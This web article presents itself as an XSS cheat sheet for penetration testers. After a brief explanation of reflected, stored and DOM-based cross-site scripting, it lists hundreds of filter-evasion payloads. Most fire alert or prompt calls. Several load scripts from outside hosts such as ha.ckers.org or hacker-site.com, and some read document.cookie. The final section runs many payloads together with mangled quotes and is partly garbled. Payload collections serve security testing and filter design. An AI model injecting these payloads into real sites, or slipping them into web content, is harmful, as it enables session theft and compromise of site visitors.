Top 500 Most Important XSS Cheat Sheet for Web Application Pentesting

XSS is a very commonly exploited vulnerability type which is very widely spread and easily detectable. Here we are going to see about most important XSS Cheat Sheet.

What is XSS(Cross Site Scripting)? An attacker can inject untrusted snippets of JavaScript into your application without validation. This JavaScript is then executed by the victim who is visiting the target site. XSS classified into three types and these XSS Cheat Sheet will help to find the XSS vulnerabilities for Pentesters.

Reflected XSS
Stored XSS
DOM-Based XSS

In Reflected XSS, an attacker sends the victim a link to the target application through email, social media, etc. This link has a script embedded within it which executes when visiting the target site.
In Stored XSS, the attacker is able to plant a persistent script in the target website which will execute when anyone visits it.
With DOM Based XSS, no HTTP request is required, the script is injected as a result of modifying the DOM of the target site in the client side code in the victim’s browser and is then executed.

You can Also Learn Advanced Web Hacking & Penetration Testing Course – Scratch to Advance.

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Most Important XSS Cheat Sheet

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<frameset onload=javascript:alert(1)>
<table background="javascript:javascript:alert(1)">
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<comment><img src="</comment><img src=x onerror=javascript:alert(1))//">
<![><img src="]><img src=x onerror=javascript:alert(1)//">
<style><img src="</style><img src=x onerror=javascript:alert(1)//">
<li style=list-style:url() onerror=javascript:alert(1)> <div style=content:url(data:image/svg+xml,%%3Csvg/%%3E);visibility:hidden onload=javascript:alert(1)></div>
<head><base href="javascript://"></head><body><a href="/. /,javascript:alert(1)//#">XXX</a></body>
<SCRIPT FOR=document EVENT=onreadystatechange>javascript:alert(1)</SCRIPT>
<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT>
<object data="data:text/html;base64,%(base64)s">
<embed src="data:text/html;base64,%(base64)s">
<b <script>alert(1)</script>0
<div id="div1"><input value="``onmouseover=javascript:alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script>
<x '="foo"><x foo='><img src=x onerror=javascript:alert(1)//'>
<embed src="javascript:alert(1)">
<img src="javascript:alert(1)">
<image src="javascript:alert(1)">
<script src="javascript:alert(1)">
<div style=width:1px;filter:glow onfilterchange=javascript:alert(1)>x
<? foo="><script>javascript:alert(1)</script>">
<! foo="><script>javascript:alert(1)</script>">
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<? foo="><x foo='?><script>javascript:alert(1)</script>'>">
<! foo="[[[Inception]]"><x foo="]foo><script>javascript:alert(1)</script>">
<% foo><x foo="%><script>javascript:alert(1)</script>">
<div id=d><x xmlns="><iframe onload=javascript:alert(1)"></div> <script>d.innerHTML=d.innerHTML</script>
<img \x00src=x onerror="alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x11src=x onerror="javascript:alert(1)">
<img \x12src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x10src=x onerror="javascript:alert(1)">
<img\x13src=x onerror="javascript:alert(1)">
<img\x32src=x onerror="javascript:alert(1)">
<img\x47src=x onerror="javascript:alert(1)">
<img\x11src=x onerror="javascript:alert(1)">
<img \x47src=x onerror="javascript:alert(1)">
<img \x34src=x onerror="javascript:alert(1)">
<img \x39src=x onerror="javascript:alert(1)">
<img \x00src=x onerror="javascript:alert(1)">
<img src\x09=x onerror="javascript:alert(1)">
<img src\x10=x onerror="javascript:alert(1)">
<img src\x13=x onerror="javascript:alert(1)">
<img src\x32=x onerror="javascript:alert(1)">
<img src\x12=x onerror="javascript:alert(1)">
<img src\x11=x onerror="javascript:alert(1)">
<img src\x00=x onerror="javascript:alert(1)">
<img src\x47=x onerror="javascript:alert(1)">
<img src=x\x09onerror="javascript:alert(1)">
<img src=x\x10onerror="javascript:alert(1)">
<img src=x\x11onerror="javascript:alert(1)">
<img src=x\x12onerror="javascript:alert(1)">
<img src=x\x13onerror="javascript:alert(1)">
<img[a][b][c]src[d]=x[e]onerror=[f]"alert(1)">
<img src=x onerror=\x09"javascript:alert(1)">
<img src=x onerror=\x10"javascript:alert(1)">
<img src=x onerror=\x11"javascript:alert(1)">
<img src=x onerror=\x12"javascript:alert(1)">
<img src=x onerror=\x32"javascript:alert(1)">
<img src=x onerror=\x00"javascript:alert(1)">
<a href=java&#1&#2&#3&#4&#5&#6&#7&#8&#11&#12script:javascript:alert(1)>XXX</a>
<img src="x` `<script>javascript:alert(1)</script>"` `>
<img src onerror /" '"= alt=javascript:alert(1)//">
<title onpropertychange=javascript:alert(1)></title><title title=>
<a href=http://foo.bar/#x=`y></a><img alt="`><img src=x:x onerror=javascript:alert(1)></a>">
<!--[if]><script>javascript:alert(1)</script -->
<!--[if<img src=x onerror=javascript:alert(1)//]> -->
<script src="/\%(jscript)s"></script>
<script src="\\%(jscript)s"></script>
<object id="x" classid="clsid:CB927D12-4FF7-4a9e-A169-56E4B8A75598"></object> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" onqt_error="javascript:alert(1)" style="behavior:url(#x);"><param name=postdomevents /></object>
<a style="-o-link:'javascript:javascript:alert(1)';-o-link-source:current">X
<style>p[foo=bar{}*{-o-link:'javascript:javascript:alert(1)'}{}*{-o-link-source:current}]{color:red};</style>
<link rel=stylesheet href=data:,*%7bx:expression(javascript:alert(1))%7d
<style>@import "data:,*%7bx:expression(javascript:alert(1))%7D";</style>
<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="javascript:alert(1);">XXX</a></a><a href="javascript:javascript:alert(1)">XXX</a>
<style>*[{}@import'%(css)s?]</style>X
<div style="font-family:'foo&#10;;color:red;';">XXX
<div style="font-family:foo}color=red;">XXX
<// style=x:expression\28javascript:alert(1)\29>
<style>*{x:ｅｘｐｒｅｓｓｉｏｎ(javascript:alert(1))}</style>
<div style=content:url(%(svg)s)></div>
<div style="list-style:url(http://foo.f)\20url(javascript:javascript:alert(1));">X
<div id=d><div style="font-family:'sans\27\3B color\3Ared\3B'">X</div></div> <script>with(document.getElementById("d"))innerHTML=innerHTML</script>
<div style="background:url(/f#&#127;oo/;color:red/*/foo.jpg);">X
<div style="font-family:foo{bar;background:url(http://foo.f/oo};color:red/*/foo.jpg);">X
<div id="x">XXX</div> <style> #x{font-family:foo[bar;color:green;} #y];color:red;{} </style>
<x style="background:url('x&#1;;color:red;/*')">XXX</x>
<script>({set/**/$($){_/**/setter=$,_=javascript:alert(1)}}).$=eval</script>
<script>({0:#0=eval/#0#/#0#(javascript:alert(1))})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){javascript:alert(1)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('javascript:alert(1)')()</script>
<meta charset="x-imap4-modified-utf7">&ADz&AGn&AG0&AEf&ACA&AHM&AHI&AGO&AD0&AGn&ACA&AG8Abg&AGUAcgByAG8AcgA9AGEAbABlAHIAdAAoADEAKQ&ACAAPABi
<meta charset="x-imap4-modified-utf7">&<script&S1&TS&1>alert&A7&(1)&R&UA;&&<&A9&11/script&X&>
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<IMG SRC="jav&#x0D;ascript:alert('XSS');">
perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
<IMG SRC=" &#14; javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >
<SCRIPT SRC=//ha.ckers.org/.j>
<IMG SRC="javascript:alert('XSS')"
<iframe src=http://ha.ckers.org/scriptlet.html <
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
<BODY BACKGROUND="javascript:alert('XSS')">
<IMG DYNSRC="javascript:alert('XSS')">
<IMG LOWSRC="javascript:alert('XSS')">
<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>
<IMG SRC='vbscript:msgbox("XSS")'>
<IMG SRC="livescript:[code]">
<BODY ONLOAD=alert('XSS')>
<BGSOUND SRC="javascript:alert('XSS');">
<BR SIZE="&{alert('XSS')}">
<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
<XSS STYLE="xss:expression(alert('XSS'))">
<XSS STYLE="behavior: url(xss.htc);">
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<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
<DIV STYLE="width: expression(alert('XSS'));">
<BASE HREF="javascript:alert('XSS');//">
 <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<!--#exec cmd="/bin/echo '<SCR'"--><!--#exec cmd="/bin/echo 'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>'"-->
<? echo('<SCR)';echo('IPT>alert("XSS")</SCRIPT>'); ?>
<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
 <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<A HREF="http://66.102.7.147/">XSS</A>
<A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
<A HREF="http://1113982867/">XSS</A>
<A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
<A HREF="http://0102.0146.0007.00000223/">XSS</A>
<A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
<iframe src="&Tab;javascript:prompt(1)&Tab;">
<svg><style>{font-family&colon;'<iframe/onload=confirm(1)>'
<input/onmouseover="javaSCRIPT&colon;confirm&lpar;1&rpar;"
<sVg><scRipt >alert&lpar;1&rpar; {Opera}
<img/src=`` onerror=this.onerror=confirm(1)
<form><isindex formaction="javascript&colon;confirm(1)"
<img src=``&NewLine; onerror=alert(1)&NewLine;
<script/&Tab; src='https://dl.dropbox.com/u/13018058/js.js' /&Tab;></script>
<ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
<iframe/src="data:text/html;&Tab;base64&Tab;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
<script /**/>/**/alert(1)/**/</script /**/
&#34;&#62;<h1/onmouseover='\u0061lert(1)'>
<iframe/src="data:text/html,<svg &#111;&#110;load=alert(1)>">
<meta content="&NewLine; 1 &NewLine;; JAVASCRIPT&colon; alert(1)" http-equiv="refresh"/>
<svg><script xlink:href=data&colon;,window.open('https://www.google.com/')></script
<svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
<meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
<iframe src=javascript&colon;alert&lpar;document&period;location&rpar;>
<form><a href="javascript:\u0061lert&#x28;1&#x29;">X
</script><img/*/src="worksinchrome&colon;prompt&#x28;1&#x29;"/*/onerror='eval(src)'>
<img/&#09;&#10;&#11; src=`~` onerror=prompt(1)>
<form><iframe &#09;&#10;&#11; src="javascript&#58;alert(1)"&#11;&#10;&#09;;>
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<a&#32;href&#61;&#91;&#00;&#93;"&#00; onmouseover=prompt&#40;1&#41;&#47;&#47;">XYZ</a
<img/src=@&#32;&#13; onerror = prompt('&#49;')
<style/onload=prompt&#40;'&#88;&#83;&#83;'&#41;

<script ^__^>alert(String.fromCharCode(49))</script ^__^
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&#00;</form><input type&#61;"date" onfocus="alert(1)">
<form><textarea &#13; onkeyup='\u0061\u006C\u0065\u0072\u0074&#x28;1&#x29;'>
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<iframe srcdoc='&lt;body onload=prompt&lpar;1&rpar;&gt;'>
<a href="javascript:void(0)" onmouseover=&NewLine;javascript:alert(1)&NewLine;>X</a>
<script ~~~>alert(0%0)</script ~~~>
<style/onload=&lt;!--&#09;&gt;&#10;alert&#10;&lpar;1&rpar;>
<///style///><span %2F onmousemove='alert&lpar;1&rpar;'>SPAN
<img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=&Tab;prompt(1)
&#34;&#62;<svg><style>{-o-link-source&colon;'<body/onload=confirm(1)>'
&#13;<blink/&#13; onmouseover=pr&#x6F;mp&#116;(1)>OnMouseOver {Firefox & Opera}
<marquee onstart='javascript:alert&#x28;1&#x29;'>^__^
<div/style="width:expression(confirm(1))">X</div> {IE7}
<iframe// src=javaSCRIPT&colon;alert(1)
//<form/action=javascript&#x3A;alert&lpar;document&period;cookie&rpar;><input/type='submit'>//
/*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
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</font>/<svg><style>{src&#x3A;'<style/onload=this.onload=confirm(1)>'</font>/</style>
<a/href="javascript:&#13; javascript:prompt(1)"><input type="X">
</plaintext\></|\><plaintext/onmouseover=prompt(1)
</svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert&#x28;1&#x29; {Opera}
<a href="javascript&colon;\u0061&#x6C;&#101%72t&lpar;1&rpar;"><button>
<div onmouseover='alert&lpar;1&rpar;'>DIV</div>
<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
<a href="jAvAsCrIpT&colon;alert&lpar;1&rpar;">X</a>
<embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
<var onmouseover="prompt(1)">On Mouse Over</var>
<a href=javascript&colon;alert&lpar;document&period;cookie&rpar;>Click Here</a>
<img src="/" =_=" title="onerror='prompt(1)'">
<%<!--'%><script>alert(1);</script -->
<script src="data:text/javascript,alert(1)"></script>
<iframe/src \/\/onload = prompt(1)
<iframe/onreadystatechange=alert(1)
<svg/onload=alert(1)
<input value=<><iframe/src=javascript:confirm(1)
<input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
<iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe>
<img src=`xx:xx`onerror=alert(1)>
<object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
<svg contentScriptType=text/vbs><script>MsgBox+1
<a href="data:text/html;base64_,<svg/onload=\u0061&#x6C;&#101%72t(1)>">X</a
<iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
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<script/src="data&colon;text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
<script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script
<object data=javascript&colon;\u0061&#x6C;&#101%72t(1)>
<script>+-+-1-+-+alert(1)</script>
<body/onload=&lt;!--&gt;&#10alert(1)>
<script itworksinallbrowsers>/*<script* */alert(1)</script
<img src ?itworksonchrome?\/onerror = alert(1)
<svg><script>//&NewLine;confirm(1);</script </svg>
<svg><script onlypossibleinopera:-)> alert(1)
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=j&#97v&#97script&#x3A;&#97lert(1)>ClickMe
<script x> alert(1) </script 1=2
<div/onmouseover='alert(1)'> style="x:">
<--`<img/src=` onerror=alert(1)> --!>
<script/src=&#100&#97&#116&#97:text/&#x6a&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x000070&#x074,&#x0061;&#x06c;&#x0065;&#x00000072;&#x00074;(1)></script>
<div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
"><img src=x onerror=window.open('https://www.google.com/');>
<form><button formaction=javascript&colon;alert(1)>CLICKME
<math><a xlink:href="//jsfiddle.net/t846h/">click
<object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
<iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
<a href="data:text/html;blabla,&#60&#115&#99&#114&#105&#112&#116&#32&#115&#114&#99&#61&#34&#104&#116&#116&#112&#58&#47&#47&#115&#116&#101&#114&#110&#101&#102&#97&#109&#105&#108&#121&#46&#110&#101&#116&#47&#102&#111&#111&#46&#106&#115&#34&#62&#60&#47&#115&#99&#114&#105&#112&#116&#62&#8203">Click Me</a>

'';!--"<XSS>=&{()}
'>//\\,<'>">">"*"
'); alert('XSS
<script>alert(1);</script>
<script>alert('XSS');</script>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascript:alert(&quot;XSS&quot;)>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<scr<script>ipt>alert('XSS');</scr</script>ipt>
<script>alert(String.fromCharCode(88,83,83))</script>
<img src=foo.png onerror=alert(/xssed/) />
<style>@im\port'\ja\vasc\ript:alert(\"XSS\")';</style>
<? echo('<scr)'; echo('ipt>alert(\"XSS\")</script>'); ?>
<marquee><script>alert('XSS')</script></marquee>
<IMG SRC=\"jav&#x09;ascript:alert('XSS');\">
<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">
<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
"><script>alert(0)</script>
<script src=http://yoursite.com/your_files.js></script>
</title><script>alert(/xss/)</script>
</textarea><script>alert(/xss/)</script>
<IMG LOWSRC=\"javascript:alert('XSS')\">
<IMG DYNSRC=\"javascript:alert('XSS')\">
<font style='color:expression(alert(document.cookie))'>
<img src="javascript:alert('XSS')">
<script language="JavaScript">alert('XSS')</script>

<body onunload="javascript:alert('XSS');">
<body onLoad="alert('XSS');"

[color=red’ onmouseover=”alert(‘xss’)”]mouse over[/color]

“/></a></><img src=1.gif onerror=alert(1)> window.alert(“Bonjour !”); <div style=”x:expression((window.r==1)?”:eval(‘r=1; alert(String.fromCharCode(88,83,83));’))”> <iframe<?php echo chr(11)?> onload=alert(‘XSS’)></iframe> “><script alert(String.fromCharCode(88,83,83))</script> ‘>><marquee><h1>XSS</h1></marquee> ‘”>><script>alert(‘XSS’)</script> ‘”>><marquee><h1>XSS</h1></marquee> <META HTTP-EQUIV=\”refresh\” CONTENT=\”0;url=javascript:alert(‘XSS’);\”> <META HTTP-EQUIV=\”refresh\” CONTENT=\”0; URL=http://;URL=javascript:alert(‘XSS’);\”> <script>var var = 1; alert(var)</script> <STYLE type=”text/css”>BODY{background:url(“javascript:alert(‘XSS’)”)}</STYLE> <?='<SCRIPT>alert(“XSS”)</SCRIPT>’?> <IMG SRC=’vbscript:msgbox(\”XSS\”)’> ” onfocus=alert(document.domain) “> <” <FRAMESET><FRAME SRC=\”javascript:alert(‘XSS’);\”></FRAMESET> <STYLE>li {list-style-image: url(\”javascript:alert(‘XSS’)\”);}</STYLE><UL><LI>XSS perl -e ‘print \”<SCR\0IPT>alert(\”XSS\”)</SCR\0IPT>\”;’ > out perl -e ‘print \”<IMG SRC=java\0script:alert(\”XSS\”)>\”;’ > out <br size=\”&{alert(‘XSS’)}\”> <scrscriptipt>alert(1)</scrscriptipt> </br style=a:expression(alert())> </script><script>alert(1)</script> “><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>

[color=red width=expression(alert(123))]

[color] <BASE HREF=”javascript:alert(‘XSS’);//”> Execute(MsgBox(chr(88)&chr(83)&chr(83)))< “></iframe><script>alert(123)</script> <body onLoad=”while(true) alert(‘XSS’);”> ‘”></title><script>alert(1111)</script> </textarea>'”><script>alert(document.cookie)</script> ‘””><script language=”JavaScript”> alert(‘X \nS \nS’);</script> </script></script><<<<script><>>>><<<script>alert(123)</script> <html><noalert><noscript>(123)</noscript><script>(123)</script> <INPUT TYPE=”IMAGE” SRC=”javascript:alert(‘XSS’);”> ‘></select><script>alert(123)</script> ‘>”><script src = ‘http://www.site.com/XSS.js’></script> }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script> <SCRIPT>document.write(“XSS”);</SCRIPT> a=”get”;b=”URL”;c=”javascript:”;d=”alert(‘xss’);”;eval(a+b+c+d); =’><script>alert(“xss”)</script> <script+src=”>”+src=”http://yoursite.com/xss.js?69,69″></script> <body background=javascript:'”><script>alert(navigator.userAgent)</script>></body> “>/XaDoS/><script>alert(document.cookie)</script><script src=”http://www.site.com/XSS.js”></script> “>/KinG-InFeT.NeT/><script>alert(document.cookie)</script> src=”http://www.site.com/XSS.js”></script> data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4= !–” /><script>alert(‘xss’);</script> <script>alert(“XSS by \nxss”)</script><marquee><h1>XSS by xss</h1></marquee> “><script>alert(“XSS by \nxss”)</script>><marquee><h1>XSS by xss</h1></marquee> ‘”></title><script>alert(“XSS by \nxss”)</script>><marquee><h1>XSS by xss</h1></marquee> <img “””><script>alert(“XSS by \nxss”)</script><marquee><h1>XSS by xss</h1></marquee> <script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee> “><script>alert(1337)</script>”><script>alert(“XSS by \nxss</h1></marquee> ‘”></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee> <iframe src=”javascript:alert(‘XSS by \nxss’);”></iframe><marquee><h1>XSS by xss</h1></marquee> ‘><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=”” alt=’ “><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=”” alt=” \’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src=”” alt=\’ http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS?? http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS?? ‘); alert(‘xss’); var x=’ \\’); alert(\’xss\’);var x=\’ //–></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83)); >”><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt> <img src=”Mario Heiderich says that svg SHOULD not be executed trough image tags” onerror=”javascript:document.write(‘\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0064\u0061\u0074\u0061\u003a\u0069\u006d\u0061\u0067\u0065\u002f\u0073\u0076\u0067\u002b\u0078\u006d\u006c\u003b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0050\u0048\u004e\u0032\u005a\u0079\u0042\u0034\u0062\u0057\u0078\u0075\u0063\u007a\u0030\u0069\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u0033\u0064\u0033\u0064\u0079\u0035\u0033\u004d\u0079\u0035\u0076\u0063\u006d\u0063\u0076\u004d\u006a\u0041\u0077\u004d\u0043\u0039\u007a\u0064\u006d\u0063\u0069\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u0070\u0062\u0057\u0046\u006e\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0045\u0070\u0049\u006a\u0034\u0038\u004c\u0032\u006c\u0074\u0059\u0057\u0064\u006c\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u007a\u0064\u006d\u0063\u0067\u0062\u0032\u0035\u0073\u0062\u0032\u0046\u006b\u0050\u0053\u004a\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u0079\u004b\u0053\u0049\u002b\u0050\u0043\u0039\u007a\u0064\u006d\u0063\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0048\u004e\u006a\u0063\u006d\u006c\u0077\u0064\u0044\u0035\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u007a\u004b\u0054\u0077\u0076\u0063\u0032\u004e\u0079\u0061\u0058\u0042\u0030\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u006b\u005a\u0057\u005a\u007a\u0049\u0047\u0039\u0075\u0062\u0047\u0039\u0068\u005a\u0044\u0030\u0069\u0059\u0057\u0078\u006c\u0063\u006e\u0051\u006f\u004e\u0043\u006b\u0069\u0050\u006a\u0077\u0076\u005a\u0047\u0056\u006d\u0063\u007a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0038\u005a\u0079\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0055\u0070\u0049\u006a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0067\u0050\u0047\u004e\u0070\u0063\u006d\u004e\u0073\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0059\u0070\u0049\u0069\u0041\u0076\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0038\u0064\u0047\u0056\u0034\u0064\u0043\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0063\u0070\u0049\u006a\u0034\u0038\u004c\u0033\u0052\u006c\u0065\u0048\u0051\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0043\u0039\u006e\u0050\u0069\u0041\u0067\u0043\u006a\u0077\u0076\u0063\u0033\u005a\u006e\u0050\u0069\u0041\u0067\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e’);”></img> </body> </html> <SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT> <SCRIPT> alert(“XSS”); </SCRIPT> <BODY ONLOAD=alert(“XSS”)> <BODY BACKGROUND=”javascript:alert(‘XSS’)”> <IMG SRC=”javascript:alert(‘XSS’);”> <IMG DYNSRC=”javascript:alert(‘XSS’)”> <IMG LOWSRC=”javascript:alert(‘XSS’)”> <IFRAME SRC=”http://hacker-site.com/xss.html”> <INPUT 